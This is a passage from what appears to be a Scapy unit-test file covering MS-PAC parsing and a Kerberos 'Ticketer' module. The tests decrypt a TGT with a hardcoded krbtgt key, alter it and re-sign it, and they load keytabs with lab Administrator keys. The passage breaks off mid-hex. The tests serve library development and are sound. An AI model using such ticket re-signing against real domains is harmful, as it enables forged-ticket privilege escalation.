Attributes=7,\n                            ),\n                            KERB_SID_AND_ATTRIBUTES(\n                                Sid=NDRPointer(\n                                    referent_id=131124,\n                                    value=SID(\n                                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                                        ),\n                                        SubAuthority=[\n                                            21,\n                                            397955417,\n                                            626881126,\n                                            188441444,\n                                            3101812,\n                                        ],\n                                        max_count=5,\n                                        Revision=1,\n                                        SubAuthorityCount=5,\n                                    ),\n                                ),\n                                Attributes=536870919,\n                            ),\n                            KERB_SID_AND_ATTRIBUTES(\n                                Sid=NDRPointer(\n                                    referent_id=131128,\n                                    value=SID(\n                                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                                        ),\n                                        SubAuthority=[\n                                            21,\n                                            397955417,\n                                            626881126,\n                                            188441444,\n                                            3291368,\n                                        ],\n                                        max_count=5,\n                                        Revision=1,\n                                        SubAuthorityCount=5,\n                                    ),\n                                ),\n                                Attributes=536870919,\n                            ),\n                            KERB_SID_AND_ATTRIBUTES(\n                                Sid=NDRPointer(\n                                    referent_id=131132,\n                                    value=SID(\n                                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                                        ),\n                                        SubAuthority=[\n                                            21,\n                                            397955417,\n                                            626881126,\n                                            188441444,\n                                            3291341,\n                                        ],\n                                        max_count=5,\n                                        Revision=1,\n                                        SubAuthorityCount=5,\n                                    ),\n                                ),\n                                Attributes=536870919,\n                            ),\n                            KERB_SID_AND_ATTRIBUTES(\n                                Sid=NDRPointer(\n                                    referent_id=131136,\n                                    value=SID(\n                                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                                        ),\n                                        SubAuthority=[\n                                            21,\n                                            397955417,\n                                            626881126,\n                                            188441444,\n                                            3322973,\n                                        ],\n                                        max_count=5,\n                                        Revision=1,\n                                        SubAuthorityCount=5,\n                                    ),\n                                ),\n                                Attributes=536870919,\n                            ),\n                            KERB_SID_AND_ATTRIBUTES(\n                                Sid=NDRPointer(\n                                    referent_id=131140,\n                                    value=SID(\n                                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                                        ),\n                                        SubAuthority=[\n                                            21,\n                                            397955417,\n                                            626881126,\n                                            188441444,\n                                            3479105,\n                                        ],\n                                        max_count=5,\n                                        Revision=1,\n                                        SubAuthorityCount=5,\n                                    ),\n                                ),\n                                Attributes=536870919,\n                            ),\n                            KERB_SID_AND_ATTRIBUTES(\n                                Sid=NDRPointer(\n                                    referent_id=131144,\n                                    value=SID(\n                                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                                        ),\n                                        SubAuthority=[\n                                            21,\n                                            397955417,\n                                            626881126,\n                                            188441444,\n                                            3271400,\n                                        ],\n                                        max_count=5,\n                                        Revision=1,\n                                        SubAuthorityCount=5,\n                                    ),\n                                ),\n                                Attributes=536870919,\n                            ),\n                            KERB_SID_AND_ATTRIBUTES(\n                                Sid=NDRPointer(\n                                    referent_id=131148,\n                                    value=SID(\n                                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                                        ),\n                                        SubAuthority=[\n                                            21,\n                                            397955417,\n                                            626881126,\n                                            188441444,\n                                            3283393,\n                                        ],\n                                        max_count=5,\n                                        Revision=1,\n                                        SubAuthorityCount=5,\n                                    ),\n                                ),\n                                Attributes=536870919,\n                            ),\n                            KERB_SID_AND_ATTRIBUTES(\n                                Sid=NDRPointer(\n                                    referent_id=131152,\n                                    value=SID(\n                                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                                        ),\n                                        SubAuthority=[\n                                            21,\n                                            397955417,\n                                            626881126,\n                                            188441444,\n                                            3338537,\n                                        ],\n                                        max_count=5,\n                                        Revision=1,\n                                        SubAuthorityCount=5,\n                                    ),\n                                ),\n                                Attributes=536870919,\n                            ),\n                            KERB_SID_AND_ATTRIBUTES(\n                                Sid=NDRPointer(\n                                    referent_id=131156,\n                                    value=SID(\n                                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                                        ),\n                                        SubAuthority=[\n                                            21,\n                                            397955417,\n                                            626881126,\n                                            188441444,\n                                            3038991,\n                                        ],\n                                        max_count=5,\n                                        Revision=1,\n                                        SubAuthorityCount=5,\n                                    ),\n                                ),\n                                Attributes=536870919,\n                            ),\n                            KERB_SID_AND_ATTRIBUTES(\n                                Sid=NDRPointer(\n                                    referent_id=131160,\n                                    value=SID(\n                                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                                        ),\n                                        SubAuthority=[\n                                            21,\n                                            397955417,\n                                            626881126,\n                                            188441444,\n                                            3037999,\n                                        ],\n                                        max_count=5,\n                                        Revision=1,\n                                        SubAuthorityCount=5,\n                                    ),\n                                ),\n                                Attributes=536870919,\n                            ),\n                            KERB_SID_AND_ATTRIBUTES(\n                                Sid=NDRPointer(\n                                    referent_id=131164,\n                                    value=SID(\n                                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                                        ),\n                                        SubAuthority=[\n                                            21,\n                                            397955417,\n                                            626881126,\n                                            188441444,\n                                            3248111,\n                                        ],\n                                        max_count=5,\n                                        Revision=1,\n                                        SubAuthorityCount=5,\n                                    ),\n                                ),\n                                Attributes=536870919,\n                            ),\n                            KERB_SID_AND_ATTRIBUTES(\n                                Sid=NDRPointer(\n                                    referent_id=131168,\n                                    value=SID(\n                                        IdentifierAuthority=RPC_SID_IDENTIFIER_AUTHORITY(\n                                            Value=b\"\\x00\\x00\\x00\\x00\\x00\\x05\"\n                                        ),\n                                        SubAuthority=[\n                                            21,\n                                            397955417,\n                                            626881126,\n                                            188441444,\n                                            3038983,\n                                        ],\n                                        max_count=5,\n                                        Revision=1,\n                                        SubAuthorityCount=5,\n                                    ),\n                                ),\n                                Attributes=536870919,\n                            ),\n                        ],\n                    ),\n                ),\n                ResourceGroupDomainSid=None,\n                ResourceGroupCount=0,\n                ResourceGroupIds=None,\n            ),\n        )\n        / Padding(),\n        PAC_CLIENT_INFO(ClientId=127906621700000000, NameLength=8, Name=\"lzhu\"),\n        PAC_SIGNATURE_DATA(\n            SignatureType=4294967158,\n            Signature=b\"A\\xed\\xce\\x9a4\\x81]:\\xef{\\xc9\\x88t\\x80]%\",\n            RODCIdentifier=b\"\",\n        ),\n        PAC_SIGNATURE_DATA(\n            SignatureType=4294967158,\n            Signature=b\"\\xf7\\xa54\\xda\\xb2\\xc0)\\x86\\xef\\xe0\\xfb\\xe5\\x11\\nO2\",\n            RODCIdentifier=b\"\",\n        ),\n    ],\n    cBuffers=4,\n    Version=0,\n)\n\nassert raw(pkt) == data[22:]\n\n= MSPAC - Dissect and rebuild UPN_DNS_INFO\n\nfrom scapy.layers.msrpce.mspac import UPN_DNS_INFO\n\ndata = b'4\\x00\\x18\\x00\\x18\\x00P\\x00\\x03\\x00\\x00\\x00\\x1a\\x00h\\x00\\x1c\\x00\\x88\\x00\\x00\\x00\\x00\\x00A\\x00d\\x00m\\x00i\\x00n\\x00i\\x00s\\x00t\\x00r\\x00a\\x00t\\x00o\\x00r\\x00@\\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00.\\x00l\\x00o\\x00c\\x00a\\x00l\\x00\\x00\\x00\\x00\\x00D\\x00O\\x00M\\x00A\\x00I\\x00N\\x00.\\x00L\\x00O\\x00C\\x00A\\x00L\\x00A\\x00d\\x00m\\x00i\\x00n\\x00i\\x00s\\x00t\\x00r\\x00a\\x00t\\x00o\\x00r\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xfe\\x00\\xb0r\\x02\\n\\xa6\\xdd\\xa9\\xa4e\\x02\\xf4\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\n# This is extended\npkt = UPN_DNS_INFO(data)\n\nassert pkt.Upn == 'Administrator@domain.local'\nassert pkt.DnsDomainName == 'DOMAIN.LOCAL'\nassert pkt.SamName == 'Administrator'\nassert pkt.Sid.summary() == 'S-1-5-21-1924137214-3718646274-40215721-500'\nassert isinstance(pkt.payload, Raw) and pkt.load == b\"\\x00\\x00\\x00\\x00\"\n\n# Re-build\npkt.clear_cache()\nassert bytes(pkt) == data\n\n\n+ Build a CLAIMS_SET to test size_of\n\n= MSPAC - Construct a CLAIMS_SET object\n\n% the goal of this test is to see if:\n% - all intermediate types are properly inferred\n% - sizes are properly computed\n\nfrom scapy.layers.msrpce.mspac import *\n\nclaimSet = CLAIMS_SET(\n    ClaimsArrays=[\n        CLAIMS_ARRAY(\n            usClaimsSourceType=1,\n            ClaimEntries=[\n                CLAIM_ENTRY(\n                    Id=\"ad://ext/AuthenticationSilo\",\n                    Type=3,\n                    Values=NDRUnion(\n                        tag=3,\n                        value=CLAIM_ENTRY_sub2(\n                            StringValues=[\"T0-silo\"],\n                        ),\n                    ),\n                )\n            ],\n        )\n    ],\n    usReservedType=0,\n    ulReservedFieldSize=0,\n    ReservedField=None,\n    ndr64=False,\n)\n\n= MSPAC - Check that Pointers, Arrays, etc. were inferred\n\nassert isinstance(claimSet.ClaimsArrays, NDRPointer)\nassert isinstance(claimSet.ClaimsArrays.value, NDRConformantArray)\nassert isinstance(claimSet.ClaimsArrays.value.value[0].ClaimEntries, NDRPointer)\nassert isinstance(claimSet.ClaimsArrays.value.value[0].ClaimEntries.value, NDRConformantArray)\nassert isinstance(claimSet.valueof(\"ClaimsArrays\")[0].valueof(\"ClaimEntries\")[0].Values, NDRUnion)\nassert isinstance(claimSet.valueof(\"ClaimsArrays\")[0].valueof(\"ClaimEntries\")[0].Values.value.StringValues, NDRPointer)\nassert isinstance(claimSet.valueof(\"ClaimsArrays\")[0].valueof(\"ClaimEntries\")[0].Values.value.StringValues.value, NDRConformantArray)\nassert isinstance(claimSet.valueof(\"ClaimsArrays\")[0].valueof(\"ClaimEntries\")[0].Values.value.StringValues.value.value[0], NDRPointer)\nassert isinstance(claimSet.valueof(\"ClaimsArrays\")[0].valueof(\"ClaimEntries\")[0].Values.value.StringValues.value.value[0].value, NDRConformantArray)\nassert isinstance(claimSet.valueof(\"ClaimsArrays\")[0].valueof(\"ClaimEntries\")[0].Values.value.StringValues.value.value[0].value.value[0], NDRVaryingArray)\nassert claimSet.valueof(\"ClaimsArrays\")[0].valueof(\"ClaimEntries\")[0].valueof(\"Values\").valueof(\"StringValues\")[0] == b'T0-silo'\n\n= MSPAC - Build the packet\n\nassert bytes(claimSet) == b'\\x01\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x1c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00a\\x00d\\x00:\\x00/\\x00/\\x00e\\x00x\\x00t\\x00/\\x00A\\x00u\\x00t\\x00h\\x00e\\x00n\\x00t\\x00i\\x00c\\x00a\\x00t\\x00i\\x00o\\x00n\\x00S\\x00i\\x00l\\x00o\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00T\\x000\\x00-\\x00s\\x00i\\x00l\\x00o\\x00\\x00\\x00'\n\n= MSPAC - Dissect the packet\n\nclaimSet = CLAIMS_SET(bytes(claimSet), ndr64=False)\n\nassert claimSet.ClaimsArrays.value.value[0].ClaimEntries.value.value[0].Id.value.value[0].value == b'ad://ext/AuthenticationSilo'\nassert claimSet.ClaimsArrays.value.value[0].ClaimEntries.value.value[0].Type == 3\nassert claimSet.ClaimsArrays.value.value[0].ClaimEntries.value.value[0].Values.value.ValueCount == 1\nassert claimSet.valueof(\"ClaimsArrays\")[0].valueof(\"ClaimEntries\")[0].valueof(\"Values\").valueof(\"StringValues\")[0] == b'T0-silo'\n\n\n+ Ticketer++ tests\n~ mock\n\n% Same test ccache as kerberos.rst\n\n= Ticketer++ - Load ticketer module\n\nfrom scapy.modules.ticketer import *\n\n= Ticketer++ - Write ccache to disk\n\nfrom scapy.utils import get_temp_file\n\nCCACHE_DATA = bytes.fromhex(\"0504000c00010008ffffffff0000000000000001000000010000000c444f4d41494e2e4c4f43414c0000000d41646d696e6973747261746f7200000001000000010000000c444f4d41494e2e4c4f43414c0000000d41646d696e6973747261746f7200000002000000020000000c444f4d41494e2e4c4f43414c000000066b72627467740000000c444f4d41494e2e4c4f43414c0012000000208b4226a190866cbe345ae5e668823edd5359cb00bd479a6428bc8feb1ba55752633332fa633332fa6333bf9a633484770050e100000000000000000000000004486182044430820440a003020105a10e1b0c444f4d41494e2e4c4f43414ca221301fa003020102a11830161b066b72627467741b0c444f4d41494e2e4c4f43414ca382040430820400a003020112a103020102a28203f2048203ee662c2aefcca3f8c78de38e1af1d63b18de011d864d9bec12f3c11e20b0bbdc46e6f5c8311b331b1cc27b23193e90fa47ba7aa6a67fba5826a1f4754ea5050eeab2e07d07a3ec1029b2a11e058ce31e48f4de2bce017e9c2915ee40ffa0f7109597088286fa290fe6ca777465162c5757a67cc53a8e3204846a4ca9cff30c8073d1e9e735b5eb22717f9777c2f38fb13d204952db15e4f160e26535f596f3ce64f9a8d96011718d0405650d7f7c728f87dd2d0e220e4610347faa8a45099b63a351f5adcfccf669d9b6112e31881af869561294a21eb6e2b164b8ce6c6c7b0327ec6c71c23784b06c19030a3f81119f377cb6f0395b5477bffbc5c1a2264ec4af76f4b39a4e2f7030d48c8ebbcaf212036ea0a5abdd5da91fcdc3fb9700d5379f03fbc9fe3a47078dae30b05a418f46ee9ea25f520eb7e67b53d96f7f486e5878b22ea8f4215137a7dcf7f4b6f50463715d9d3c544f294420ed0f7426955fa0a527efce86264f7c29bdfc2cee2c3eb227eb4b7651eb8008e0eb269446a45488296b0427f82b959ad070146cd8a9aed9ef236815bd2149f3f86d73227584f294dc86cf4a77e4eeabf98f4f342dbfc4beb46d834b0c3103d8c5964cad4852eed365ca8e50937e21976122d5cde18c5ab6dd5528c3a680c0a219711766dd5b6a3c103ae65ad5f573a31543a0ebcefde1749062951030f63907cde092010c22c90763248c9f6cd03a6f0a7cb9a7b7441bc7de4c40c1d749373afee597a52c9dbe7533d7ba24a3a26df29474b93643eed97f6b8ffd13976869844841bdd364f2454d6e3ce1ae677ec01c592c25b50e120303240ddaac82dfa9d63b1c42c239b78a6c4ebba2b6458b924931c52b223b9c9cfd6cf0f083e6239e30747f1302de8bde94fe8756b5e0118f5ed61dccc3862ddbc93f103c3160ac15858cbe330420d6e07e2c9f242c2caf8f04d83f3cd71f404c1d56814c9e2aa787763abc295334299487f454e4b4eb5f0e7c3cf5e377374acf827c9fe255e1c7cdb13129ef07c731164ee4eed503f735829a8b7cc2e3718db23d85838fbf7a43861a1c8f890e4c33437b65749946b46f6cff1767158f5684b035f2ea086f7b564f6a57050714b4cad5165b72be6f7a6820b2e9f8936506147e64a77a2f9cf9c13fe4fd59b83191898101068a003e6f7f918006616204ff4b18a9bf495497ba0df0dfcbb89a5e643c60637667357fcf1d97b424240ea75fcf0d26bb159055107f80d1bc682c9057f22a3ef5fb0f50adb30ba975b25069d393bf7eb2522f230912ac1e64bba93c91aa760abb1209bb1313e38dddebcac325d27bef99d66045c09799b71020a44f64bbb59c405449304fd95b8d6bdc6d17e476cba188f30ad04bb6c91d91b028b0953986929a9fb42b21f73028c8ba1f416c70630000000000000001000000010000000c444f4d41494e2e4c4f43414c0000000d41646d696e6973747261746f7200000000000000030000000c582d4341434845434f4e463a000000156b7262355f6363616368655f636f6e665f646174610000000770615f74797065000000206b72627467742f444f4d41494e2e4c4f43414c40444f4d41494e2e4c4f43414c0000000000000000000000000000000000000000000000000000000000000000000000000000013200000000\")\nKRBTGT = bytes.fromhex(\"6df5a9a90cb076f4d232a123d9c24f46ae11590a5430710bc1881dca337989ce\")\n\nTICKETER_TEMPFILE = get_temp_file()\n\nwith open(TICKETER_TEMPFILE, \"wb\") as fd:\n    fd.write(CCACHE_DATA)\n\n= Ticketer++ - Create and load Ticketer object\n\nt = Ticketer()\nt.open_ccache(TICKETER_TEMPFILE)\n\n= Ticketer++ - Get ticket 0, change it, resign it and set it back\n\n# mock the random to get consistency\nfrom unittest import mock\n\ndef fake_random(x):\n    # wow, impressive entropy\n    return b\"0\" * x\n\nwith mock.patch('scapy.libs.rfc3961.os.urandom', side_effect=fake_random):\n    tkt = t.dec_ticket(0, hash=KRBTGT)\n    assert tkt.renewTill.val == '20220928172927Z'\n    tkt.renewTill.val = '20220930172927Z'\n    t.update_ticket(0, tkt, resign=True, hash=KRBTGT, kdc_hash=KRBTGT)\n\n= Ticketer++ - Call show() with ccache\n\nwith ContextManagerCaptureOutput() as cmco:\n    t.show(utc=True)\n    outp = cmco.get_output().strip()\n\nprint(outp)\n\nassert outp == \"\"\"\nDefault principal: Administrator@DOMAIN.LOCAL\n\nCCache tickets:\n0. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL\n   canonicalize+pre-authent+initial+renewable+proxiable+forwardable\n   pa_type=2\nStart time         End time           Renew until        Auth time        \n27/09/22 17:29:30  28/09/22 03:29:30  30/09/22 17:29:27  27/09/22 17:29:30\n\"\"\".strip()\n\n= Ticketer++ - Save to disk\n\nt.save_ccache()\n\n= Ticketer++ - Read and check written ccache\n\nEXPECTED_CCACHE_DATA = bytes.fromhex(\"0504000c00010008ffffffff0000000000000001000000010000000c444f4d41494e2e4c4f43414c0000000d41646d696e6973747261746f7200000001000000010000000c444f4d41494e2e4c4f43414c0000000d41646d696e6973747261746f7200000002000000020000000c444f4d41494e2e4c4f43414c000000066b72627467740000000c444f4d41494e2e4c4f43414c0012000000208b4226a190866cbe345ae5e668823edd5359cb00bd479a6428bc8feb1ba55752633332fa633332fa6333bf9a633727770050e100000000000000000000000004486182044430820440a003020105a10e1b0c444f4d41494e2e4c4f43414ca221301fa003020102a11830161b066b72627467741b0c444f4d41494e2e4c4f43414ca382040430820400a003020112a103020102a28203f2048203eed3d1adb3a09042173463eb0ef195beb666adbaa83193905697db7340daa9fc6cd3450280651effddc129b3761d49569f3c384e450db9ef094b4619d2036126a0b1b44c983e46664ee28cdb8fc33b52d14d2a8357f6c37b31bec5074ee6ee5ab74a896460c767411d0532c6cb69e0da698054ef8f8bf87fb9e8d2d289ec1b22d1ec602ce71c80b98a14aff448374054d4987c0bd13127914a0191d93c3440b5209c4f2190c80d21e064e6f71ab269ab9c0dbf6533e8e29068a3c686b6377d3c79c902818f12a400eabd8f8bb35bce837e9cb0a4413db223bf22e13bee81eb6a4170ae863fd7082db8dac81b70f96c7880c6d5f8350209aa090b75f6343635ba01e9fafdc7700ee84bd9ae0497517ce69b89e44b3933ea3b1a6c36bd38699eba195bb22f0e694b9e952fc187cf7ee5e02b05ec2397e76c217da3c328eeccf5d4ffbe77a765127fc2828e5c8edc1987cb7fbfcfecbb308f4858f711c52ada9c3622dd43d47c29b30630ecf51b9e88cefcf06cb7862922c36a81ae09ec9f62f406f6d4a269cec849a2fe872a16026dce242c775870d827450700c9defdd204342ea1e7d72c5b1c8d92b0318f298898b19a2c705722837c2ff569fc796d55b779950be0db9955d57d349c7d7688b81b9219e376098a2902e23cd01d7bf7734089ab08bc30a7fd2d138aea4454084e3e14d76119e2ef4da6fff3b5758c58efe2904491f6dd57a7eb777aa847783b6ef905c8c796889e6d7e89952a2cef7f99d09405a07b6897291d13eb3a0c4280601b4f4d5cbd00a0125fb87eeb522cd90a8b046163c076a61115e1affe3e362700d984747f1372c92beeb3e1ce4b97ceac032ac8988c536a9594f9032463750f78ca30161e4910d8ff3810d7d4da60d90fded2fcda92a4d6a7b776ba82370130807a30ab0b648f50537453de6c575cc6c98847ae1aa342c3b324005c3988e6cfb161b5b39153cdbd7a305c4cc0949e47197673cd72c29f41f383a7c2b241bd0e70d736f6e342b88128cc38f964588aa32b860dd788a43fb91d4d934401434d6d9e6c622e58a9d99e02331ca642cd9c435305ddbf949751b8c2617489a4cefe376920b7803d493e61d4fdc41f2f6fe50bf5919ede1295eaab25db71aa6e98bbc80a32d7acc24f9cc9b651cb72d22b17031a1d03fd9166c5f488924689aa4859094b42b72c4bf467a1fdb826289bde90035aff2322c68a34b350b0b3b2818c656701b359cbfdb7eb5665439a4deb2cc95bacc358a693f2d0e31975653665fdc468d627c6eee589bbc46bd019a70e394c90529abe646105623c43956c86bf366e4be1f3560b2e4ca01f1e25432618573a9f257890a435e899724eebd9fd271abefeae2f0a55f3abb4619b9ded206bf70ac3b77622d114309e49bb42d01e8c8678765ab4b80000000000000001000000010000000c444f4d41494e2e4c4f43414c0000000d41646d696e6973747261746f7200000000000000030000000c582d4341434845434f4e463a000000156b7262355f6363616368655f636f6e665f646174610000000770615f74797065000000206b72627467742f444f4d41494e2e4c4f43414c40444f4d41494e2e4c4f43414c0000000000000000000000000000000000000000000000000000000000000000000000000000013200000000\")\n\nwith open(TICKETER_TEMPFILE, \"rb\") as fd:\n    RESULT = fd.read()\n\nprint(RESULT.hex())\n\nassert RESULT == EXPECTED_CCACHE_DATA\n\n= Ticketer++ - Import ticket\n\nTKT = KRB_Ticket(bytes.fromhex(\"618204b3308204afa003020105a10e1b0c444f4d41494e2e4c4f43414ca221301fa003020102a11830161b066b72627467741b0c444f4d41494e2e4c4f43414ca38204733082046fa003020112a103020103a28204610482045dbd10c11e1def682dc3607c98db0806acf2809a1f8c73fda44f86c14bd039c4c95a41ed400ac4e558970c51316ffdf34bd695a636bcb1e5074419d083e918085ec56ff77af9f6a410faff3b9859a635184486c83521b5390ec724185057e3e62843a92d9ba500dd24d9ebeff0654fe459cf35d9607b11f7c35bf6ba4dd378fd5c99554650296abcc374c3ff2fcf807038848f351e9134f69726b5e92aec99e4aa99613c35609b0094b533811513e9ba48b9113f0f2b4dbcf9e05a6668c998c09f65ae48c8ea1b7fbc62b5cbbec7decc0a4832df93aec08c138a63621f8c584a8530a380b54b37fdb8dda6924e4260710cf8b66c71479dcb6916790c5c582b9953cab7085178e280d182a74f93fcd3bc83a0dc26284551a4d230a50a8b341de132fdf0f97bb7abdec48021e04c3deda89897c684d5603636bd66842ed4b2586f8e09fbb5e0228bcce3e5ffc82e5674f16a65a4f1b7b17b3854a5465734a5fec573c54526f27b9ea8a64646f01268b040d09f2acda82a37fb195cb24f8c1092919574999fd61d859aed2af5a9457a20a72e6188c0d813cb12713779f84f7bed298e2cd793b06e639d859b4fb3a5f746e2023bcf0627a8a87425899aa3a9b63f558965eccabc35330562b055426e2fc6808c456ee8f047d09a7021b6a4f2547cde6552224b294750efd492ea0745035f76a394d5b6e26442e5542b4d557722ee21b70c05567241ed97dffb31502d950c50462f478fccd8454ec38424688e87c4428c3763b369f1b51509ef36548dcf7a5c842475aa65bec10d6f86cecd90e4694f36d68052b55a2715c00e269c215071311482118ed0168fabb3053ad59dcdf42a42502685cdfcc679d2272dd12ab658ff8588b34cb48b3aef4a1961694ab2b31a812a683015ed343a8c21498997b0ded3767f73e069c9633845b582d6f1a987d6b09d31b330a3cbf2c430fb6f5d6fa27f83d9624b7bb8cebc248933b68dbe1b6b2822b96621159d9249ded893cbedcf1fc5ee77cb69695852170b24ea2f36aa898a24212b2edf84459a4381bd243797b9a3281d7e1b280f6add79dbb1cc5d887178d0813549a168a38be441bb387764098c4e7bed81f7973ee19e733767a4dd05212a18b12c838c674c18b0d6304a28be3de7928ffdd1449d297884c6a6a574b13a0d289425c1ebf37c5af56d04753fcc0c02fdcc98427fb9aa33510905ba2b6746a8b59742e4243f6fba814585b122794a54aecba3ea956a0c85fded2582cb4809ee7be471253f0256503636e81f35df38b177c3c071677e1dd9efa6b10c6a122ab0522f2b10e8b625355f5c1e7996c7055237182691ede31a5e602966f90c2a66bdf997872dbdc97155d723bc1fb187bd0f42cbcdedbe2c5717d13e27e2134ac6cd9d3a53cd215344a8278065da4eea7544860eda5fdb41f849ff7c1db775f7a0a62d2875b43b55bc091e8056666507dfcaded40a83211db7a5856d4c9b5e2ef862830cef8a4c36ce034e9a9e11f558f008cdbe4152081c30dae53b6de44e1703236490cfc87be9e96fa0679f87255069994a262d61d57be0382fe9e570\"))\nTKT_SKEY = bytes.fromhex(\"dd4e16dbcfe19d82cb6fc9b593bb7449c1d8a46687dc20c295ed0e51cc4c3d0d\")\n\nt = Ticketer()\nt.import_krb(TKT, hash=TKT_SKEY)\n\ntkt, _, upn, spn = t.export_krb(0)\nhexdiff(tkt, TKT)\nassert bytes(tkt) == bytes(TKT)\nassert upn == 'DC1$@DOMAIN.LOCAL'\nassert spn == 'krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL'\n\n= Ticketer++ - Create keytab\n\nt = Ticketer()\nt.add_cred(\"host/dc.domain.local@domain.local\", password=\"Scapy1\", salt=b\"salt\")\n\nassert t.get_cred(\"host/dc.domain.local@domain.local\").key == bytes.fromhex(\"811f44006ad73972ffec42cc89ce6e79749e6effd8db4db5fb0f38c0f3fa6f4f\")\n\n= Ticketer++ - Get SPN ssp\n\nssp = t.ssp(\"host/dc.domain.local@domain.local\")\n\n= Ticketer++ - Load keytab\n\nfrom scapy.utils import get_temp_file\nTICKETER_TEMPFILE = get_temp_file()\n\nKEYTAB_DATA = bytes.fromhex(\"0502000000440001000c646f6d61696e2e6c6f63616c000d41646d696e6973747261746f720000000067fd666f0100110010de93a48926de94c2feff6abd8e0e763b00000000000000540001000c646f6d61696e2e6c6f63616c000d41646d696e6973747261746f720000000067fd666f0200120020dcd8ce2bb77dfb6cab0e1afb69a9a5713a8818ed502c3625edc7772e6b4c442a00000000000000440001000c646f6d61696e2e6c6f63616c000d41646d696e6973747261746f720000000067fd666f03001700102b576acbe6bcfda7294d6bd18041b8fe00000000\")\n\nwith open(TICKETER_TEMPFILE, \"wb\") as fd:\n    fd.write(KEYTAB_DATA)\n\nt = Ticketer()\nt.open_keytab(TICKETER_TEMPFILE)\n\nassert t.get_cred(\"Administrator@domain.local\", EncryptionType.RC4_HMAC).key == b'+Wj\\xcb\\xe6\\xbc\\xfd\\xa7)Mk\\xd1\\x80A\\xb8\\xfe'\nassert t.get_cred(\"Administrator@domain.local\", EncryptionType.AES128_CTS_HMAC_SHA1_96).key == b'\\xde\\x93\\xa4\\x89&\\xde\\x94\\xc2\\xfe\\xffj\\xbd\\x8e\\x0ev;'\n\n= Ticketer++ - Call show() with keytab\n\nwith ContextManagerCaptureOutput() as cmco:\n    t.show(utc=True)\n    outp = cmco.get_output().strip()\n\n# crop first line\noutp = outp.split(\"\\n\", 1)[1]\n\nprint(repr(outp))\n\nassert outp == \"\"\"\nPrincipal                   Timestamp          KVNO  Keytype                \nAdministrator@domain.local  14/04/25 19:47:59  0     AES128-CTS-HMAC-SHA1-96\nAdministrator@domain.local  14/04/25 19:47:59  0     AES256-CTS-HMAC-SHA1-96\nAdministrator@domain.local  14/04/25 19:47:59  0     RC4-HMAC               \n\nNo tickets in CCache.\n\"\"\".strip()\n\n= Ticketer++ - Get UPN ssp\n\nssp = t.ssp(\"Administrator@domain.local\")\n\n= Ticketer++ - Save keytab\n\nfrom scapy.utils import get_temp_file\nTICKETER_TEMPFILE = get_temp_file()\n\nt.save_keytab(TICKETER_TEMPFILE)\n\n\n= Ticketer++ - Real example - Import ASREP\n\nt = Ticketer()\n\nasrep = KerberosClient.RES_AS_MODE(\n    asrep=KRB_AS_REP(bytes.fromhex('6b82083c30820838a003020105a10302010ba2820174308201703082016ca10402020088a28201620482015ea082015a30820156a08201523082014ea003020112a2820145048201414722f301958ad09a272342ec03ec5f04b76de456b73ab2684d49a2ba9ddd900199e0cee8dff6bcc573d30def6aeec4c39385b7ecea55b4d096a8fe5fecac0cf8122f710bb4b69953ecc35954a4e5f7ac84d73f17b290aac1e6cad32a58fb6db7d0ff1d816e40c34375f18d69af15a243b6652e4630b4b80f4c94f5b8ae7aecb199ca3d25c69600df88b6e7624feb3345e872543d537b403073e8dcb80310e8ca45fed3d7f53db440b4b7d55299721dfe620a2e55dbf5abc8c9219854df02700af0b1e7117a62d402b10ec336df6de09fb594ebf96a5957849dbdb7add039c6f5e9ed10cfd93b621b33b5f3c27c7d84f731f3a8e10b1ed39bcd04cdfba41452e85b0a5650b0011486f3137057ad7c09d56f3509a7efd6bc66c49e9a30b3a63c26b24b0575e06cd1be22c99df6baf3413d5da09e7d41cee2c9dc4b0014623dd7014ba30e1b0c444f4d41494e2e4c4f43414ca41a3018a003020101a111300f1b0d41646d696e6973747261746f72a58205106182050c30820508a003020105a10e1b0c444f4d41494e2e4c4f43414ca221301fa003020102a11830161b066b72627467741b0c444f4d41494e2e4c4f